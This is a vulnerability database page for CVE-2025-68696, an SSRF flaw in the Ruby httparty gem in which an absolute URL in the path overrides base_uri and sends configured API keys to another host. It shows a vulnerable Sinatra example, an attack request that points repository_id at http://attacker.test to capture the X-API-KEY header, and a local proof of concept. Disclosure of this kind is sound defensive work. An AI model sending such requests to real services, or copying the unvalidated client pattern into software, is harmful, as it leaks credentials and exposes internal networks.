GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HM5P-X4RQ-38W4

Vulnerability from github – Published: 2025-12-23 19:31 – Updated: 2026-06-08 23:17
VLAI
Summary
httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
Details

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

  1. Set up two simple HTTP servers.

bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

  1. Create a script (for example, main.rb):

```rb require 'httparty'

class Client include HTTParty base_uri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data ```

  1. Run the script:

bash $ ruby main.rb this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "httparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T19:31:10Z",
    "nvd_published_at": "2025-12-23T23:15:45Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire \u0027sinatra\u0027\nrequire \u0027httparty\u0027\n\nclass RepositoryClient\n  include HTTParty\n  base_uri \u0027http://exmaple.test/api/v1/repositories/\u0027\n  headers \u0027X-API-KEY\u0027 =\u003e \u00271234567890\u0027\nend\n\npost \u0027/issue\u0027 do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body[\u0027repository_id\u0027]).body\n  # do something\n  json message: \u0027OK\u0027\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python\u0027s `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require \u0027httparty\u0027\n\n   class Client\n     include HTTParty\n     base_uri \u0027http://localhost:10001\u0027\n   end\n\n   data = Client.get(\u0027http://localhost:10002\u0027).body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
  "id": "GHSA-hm5p-x4rq-38w4",
  "modified": "2026-06-08T23:17:28Z",
  "published": "2025-12-23T19:31:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jnunemaker/httparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…